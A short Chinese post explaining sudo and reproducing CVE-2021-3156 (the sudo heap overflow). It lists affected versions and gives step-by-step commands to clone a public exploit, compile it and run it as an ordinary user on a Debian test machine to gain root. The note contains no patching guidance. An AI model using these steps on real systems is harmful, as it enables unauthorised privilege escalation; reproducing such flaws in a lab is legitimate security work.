一、背景
sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,如halt,reboot,su等等。这样不仅减少了root用户的登录 和管理时间,同样也提高了安全性。sudo不是对shell的一个代替,它是面向每个命令的。
二、特性
§ sudo能够限制用户只在某台主机上运行某些命令。
§ sudo提供了丰富的日志,详细地记录了每个用户干了什么。它能够将日志传到中心主机或者日志服务器。
§ sudo使用时间戳文件来执行类似的“检票”系统。当用户调用sudo并且输入它的密码时,用户获得了一张存活期为5分钟的票(这个值可以在编译的时候改变)。
§ sudo的配置文件是sudoers文件,它允许系统管理员集中的管理用户的使用权限和使用的主机。它所存放的位置默认是在/etc/sudoers,属性必须为0440。
三、影响版本
Sudo 1.8.2 - 1.8.31p2
Sudo 1.9.0 - 1.9.5p1
四、exp位置
https://github.com/blasty/CVE-2021-3156
五、查看sudo版本
1、命令:sudo -V
如下版本1.8.27存在该漏洞
2、把exp克隆下来,相关命令如下
git clone https://github.com/blasty/CVE-2021-3156.git
3、使用make编译一下
make
4、切换成普通用户pi
5、运行命令
./sudo-hax-me-a-sandwich
6、因测试机为Debian,所以选择1
./sudo-hax-me-a-sandwich 1
7、发现已经是root,提权成功